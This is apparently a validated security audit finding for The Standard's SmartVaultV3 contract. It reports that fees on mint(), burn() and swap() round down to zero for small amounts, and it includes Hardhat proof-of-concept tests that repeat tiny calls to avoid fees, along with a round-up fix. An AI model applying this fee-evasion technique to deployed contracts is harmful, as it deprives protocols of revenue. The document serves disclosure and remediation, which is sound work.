Submission Details

#28 User can mint(), burn() & swap() without ever paying any fee

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L161

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L170

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L215

Summary

Rounding-down inside mint(), burn() & swap() allows a user to pass a small _amount multiple times and escape paying any fee ever.
Root cause: Whenever feeRate (like mintFeeRate/burnFeeRate/swapFeeRate) for the above actions is set less than HUNDRED_PC, it's possible to pass an _amount such that the fee evaluates to zero due to rounding-down present in the calculation.

SmartVaultV3.sol#L160-L167

    function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
@---->  uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        require(fullyCollateralised(_amount + fee), UNDER_COLL);
        minted = minted + _amount + fee;
        EUROs.mint(_to, _amount);
        EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
        emit EUROsMinted(_to, _amount, fee);
    }

SmartVaultV3.sol#L169-L175

    function burn(uint256 _amount) external ifMinted(_amount) {
@--->   uint256 fee = _amount * ISmartVaultManagerV3(manager).burnFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        minted = minted - _amount;
        EUROs.burn(msg.sender, _amount);
        IERC20(address(EUROs)).safeTransferFrom(msg.sender, ISmartVaultManagerV3(manager).protocol(), fee);
        emit EUROsBurned(_amount, fee);
    }

SmartVaultV3.sol#L214-L231

    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@---->  uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        address inToken = getSwapAddressFor(_inToken);
        uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
                fee: 3000,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: _amount - swapFee,
                amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
        inToken == ISmartVaultManagerV3(manager).weth() ?
            executeNativeSwapAndFee(params, swapFee) :
            executeERC20SwapAndFee(params, swapFee);
    }

Vulnerability Details

Let us examine the current values of mintFeeRate (or burn/swap fee rates) and HUNDRED_PC, as present in unit tests:

  • ISmartVaultManagerV3(manager).mintFeeRate() = 500
  • HUNDRED_PC = 1e5 = 100,000

So if a user passes _amount as 199, fee would be calculated as {199 * 500} \div 100000 = 0 (rounding down by solidity). So if a user wants to mint an amount of 15000, he can simply call mint() a total of 100 times with _amount = 150.

Add the following code inside test/smartVault.js and run via npx hardhat test --grep 'no fee paid' test/smartVault.js. The 3 tests will pass.

  describe('no fee paid', async () => {
    it('allows zero fees while minting', async () => {
      // setup - add some collateral first
      const value = ethers.utils.parseEther('1');
      await user.sendTransaction({to: Vault.address, value});
      let { collateral} = await Vault.status();
      expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
      
      // free mint now
      const mintedAmount = 100;
      // let us mint without fee over & over again
      for(let i = 0; i < 5; i++) {
        let minted = await Vault.connect(user).mint(user.address, mintedAmount);
        await expect(minted).to.emit(Vault, 'EUROsMinted').withArgs(user.address, mintedAmount, 0); // @audit : no fee paid by user
      }
    });

    it('allows zero fees while burning', async () => {
      // setup - add some collateral first
      const value = ethers.utils.parseEther('1');
      await user.sendTransaction({to: Vault.address, value});
      let { collateral} = await Vault.status();
      expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
      
      // mint some euros
      await Vault.connect(user).mint(user.address, ethers.utils.parseEther('0.9'));

      // burn without fee now
      const burnAmount = 100;
      // let us burn without fee over & over again
      for(let i = 0; i < 5; i++) {
        let burned = await Vault.connect(user).burn(burnAmount);
        await expect(burned).to.emit(Vault, 'EUROsBurned').withArgs(burnAmount, 0); // @audit : no fee paid by user
      }
    });

    it('allows zero fees while swapping', async () => {
      // setup 
      let Stablecoin = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD', 'sUSD', 6);
      const clUsdUsdPrice = 100000000;
      const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('sUSD / USD');
      await ClUsdUsd.setPrice(clUsdUsdPrice);
      await TokenManager.addAcceptedToken(Stablecoin.address, ClUsdUsd.address);
      
      // user vault has 1 ETH collateral
      await user.sendTransaction({to: Vault.address, value: ethers.utils.parseEther('1')});
      // user borrows 1200 EUROs
      const borrowValue = ethers.utils.parseEther('1200');
      await Vault.connect(user).mint(user.address, borrowValue);
      const inToken = ethers.utils.formatBytes32String('ETH');
      const outToken = ethers.utils.formatBytes32String('sUSD');
      
      // @audit-info : user is swapping 100 wei
      const swapValue = ethers.utils.parseEther('0.0000000000000001');
      const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
      expect(swapFee).to.equal(0, "zero swap fee"); // @audit-info : zero fee
      const protocolBalance = await protocol.getBalance();
      
      // swap
      await Vault.connect(user).swap(inToken, outToken, swapValue);
      
      const {
        amountIn, txValue
      } = await SwapRouterMock.receivedSwap();

      // @audit : no fee deducted or added in the following variables
      expect(amountIn).to.equal(swapValue); 
      expect(txValue).to.equal(swapValue);
      expect(await protocol.getBalance()).to.equal(protocolBalance);
    });
  });

Impact

  • Loss of fee for the protocol

Tools Used

Hardhat

Recommendations

Rounding-up needs to be done here instead of rounding-down. Either use an external library like solmate which has a function like mulDivUp or incorporate custom logic. The following recommendation shows such a custom logic for mint(), but can be duplicated for burn() and swap() too in the same manner:

    function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
        uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
+       uint256 addExtra = (fee * ISmartVaultManagerV3(manager).HUNDRED_PC()) == (_amount * ISmartVaultManagerV3(manager).mintFeeRate()) ? 0 : 1;
+       fee = fee + addExtra;
        require(fullyCollateralised(_amount + fee), UNDER_COLL);
        minted = minted + _amount + fee;
        EUROs.mint(_to, _amount);
        EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
        emit EUROsMinted(_to, _amount, fee);
    }
Comments and Activity

Lead Judging Started

hrishibhat Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mint-precision